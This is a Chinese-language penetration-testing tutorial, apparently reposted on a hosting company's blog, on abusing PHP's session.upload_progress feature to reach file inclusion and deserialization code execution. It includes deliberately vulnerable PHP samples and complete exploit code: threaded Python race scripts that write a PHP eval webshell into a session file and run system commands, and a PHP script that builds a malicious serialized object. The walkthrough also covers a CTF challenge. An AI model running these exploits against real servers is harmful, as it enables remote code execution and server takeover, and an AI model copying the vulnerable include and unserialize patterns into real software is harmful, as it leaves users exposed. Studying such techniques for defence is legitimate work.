您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關怎么利用session.upload_progress進行文件包含和反序列化滲透,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
下面主要是利用PHP中的session.upload_progress
功能作為跳板,從而進行文件包含和反序列化漏洞利用。由于首先需要了解關于session及其反序列化等相關的知識,所以對它們先進行介紹。
這個功能在php5.4添加的,所以測試的小伙伴,注意下版本哦。
在php.ini有以下幾個默認選項
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
其實這里,我們只需要了解前四個配置選項即可,嘿嘿嘿,下面依次講解。
enabled=on
表示upload_progress
功能開始,也意味著當瀏覽器向服務器上傳一個文件時,php將會把此次文件上傳的詳細信息(如上傳時間、上傳進度等)存儲在session當中 ;
cleanup=on
表示當文件上傳結束后,php將會立即清空對應session文件中的內容,這個選項非常重要;
name
當它出現在表單中,php將會報告上傳進度,最大的好處是,它的值可控;
prefix+name
將表示為session中的鍵名
因為這個不是本文的重點,所以這里附上幾個相關鏈接。
https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html
https://blog.spoock.com/2016/10/16/php-serialize-problem/?utm_source=tuicool&utm_medium=referral
另外,再添加個session配置中一個重要選項。
session.use_strict_mode=off
這個選項默認值為off,表示我們對Cookie中sessionid可控。這一點至關重要,下面會用到。
php5.5.38
win10
關于session相關的一切配置都是默認值
<?php
$b=$_GET['file'];
include "$b";
?>
可以發現,存在一個文件包含漏洞,但是找不到一個可以包含的惡意文件。其實,我們可以利用session.upload_progress
將惡意語句寫入session文件,從而包含session文件。前提需要知道session文件的存放位置。
問題一
代碼里沒有session_start()
,如何創建session文件呢。
解答一
其實,如果session.auto_start=On
,則PHP在接收請求的時候會自動初始化Session,不再需要執行session_start()。但默認情況下,這個選項都是關閉的。
但session還有一個默認選項,session.use_strict_mode默認值為0。此時用戶是可以自己定義Session ID的。比如,我們在Cookie里設置PHPSESSID=TGAO,PHP將會在服務器上創建一個文件:/tmp/sess_TGAO”。即使此時用戶沒有初始化Session,PHP也會自動初始化Session。 并產生一個鍵值,這個鍵值有ini.get("session.upload_progress.prefix")+由我們構造的session.upload_progress.name值組成,最后被寫入sess_文件里。
問題二
但是問題來了,默認配置session.upload_progress.cleanup = on
導致文件上傳后,session文件內容立即清空,
如何進行rce呢?
解答二
此時我們可以利用競爭,在session文件內容清空前進行包含利用。
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
效果如下圖
在最近,全國大學生信息安全競賽中有一題justsoso,其中一個頁面的代碼如下。
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
在代碼前幾行可以看到,場景和前面的示例代碼類似,只不過對變量$file
加了過濾,不過沒什么影響。
利用思路一樣,這里就不再說了,網上也有相應的解法。
利用條件
1. 存在文件包含漏洞
2. 知道session文件存放路徑,可以嘗試默認路徑
3. 具有讀取和寫入session文件的權限
php5.5.38
win10
session.serialize_handler=php_serialize
,其余session相關配置為默認值
<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle=new TimeNow();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "你的訪問時間:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
$this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
}
function action() {
eval($this->ip);
}
}
?>
問題一
整個代碼沒有參數可控的地方。通過什么方法來進行反序列化利用呢
解答一
這里,利用PHP_SESSION_UPLOAD_PROGRESS
上傳文件,其中利用文件名可控,從而構造惡意序列化語句并寫入session文件。
另外,與文件包含利用一樣,也需要進行競爭。
首先利用exp.php腳本構造惡意序列化語句
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle = new IP();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "你的訪問時間:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
//$this->ip='payload';
$this->ip='phpinfo();';
//$this->ip='print_r(scandir('/'));';
}
function action() {
eval($this->ip);
}
}
$a=new Door();
$b=serialize($a);
$c=addslashes($b);
$d=str_replace("O:4:","|O:4:",$c);
echo $d;
?>
其此利用exp.py腳本進行競爭
#coding=utf-8
import requests
import threading
import io
import sys
def exp(ip,port):
f = io.BytesIO(b'a' * 1024 *1024*1)
while True:
et.wait()
url = 'http://'+ip+':'+str(port)+'/test5.php'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'DNT': '1',
'Cookie': 'PHPSESSID=20190506',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
proxy = {
'http': '127.0.0.1:8080'
}
data={'PHP_SESSION_UPLOAD_PROGRESS':'123'}
files={
'file':(r'|O:4:\"Door\":1:{s:6:\"handle\";O:2:\"IP\":1:{s:2:\"ip\";s:10:\"phpinfo();\";}}',f,'text/plain')
}
resp = requests.post(url,headers=headers,data=data,files=files,proxies=proxy) #,proxies=proxy
resp.encoding="utf-8"
if len(resp.text)<2000:
print('[+++++]retry')
else:
print(resp.content.decode('utf-8').encode('utf-8'))
et.clear()
print('success!')
if __name__ == "__main__":
ip=sys.argv[1]
port=int(sys.argv[2])
et=threading.Event()
for i in xrange(1,40):
threading.Thread(target=exp,args=(ip,port)).start()
et.set()
首先在代碼里加個代理,利用burp抓包。如下圖
這里有幾個注意點:
PHPSESSID必須要有,因為要競爭同一個文件
filename可控,但是在值的最前面加上
|
,因為最終目的是利用session的反序列化,PHP_SESSION_UPLOAD_PROGRESS
只是個跳板。其次把字符串中的雙引號轉義,以防止與最外層的雙引號沖突上傳的文件要大些,否則很難競爭成功。我寫入是這么大
f = io.BytesIO(b'a' * 1024 *1024*1)
filename值中出現漢字時,會出錯,所以在利用腳本前,一定要修改python源碼
最后把exp.py
中的代理去掉,直接跑exp.py
,效果如下。
其實,利用burp抓到
exp.py
流量后,可以直接在burp爆破,但貌似數據包數據有點多,導致burp反應很慢,最終失敗。另外,我嘗試偽造
PHP_SESSION_UPLOAD_PROGRESS
的值,但是值中一旦出現|
,將會導致數據寫入session文件失敗。
關于怎么利用session.upload_progress進行文件包含和反序列化滲透就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。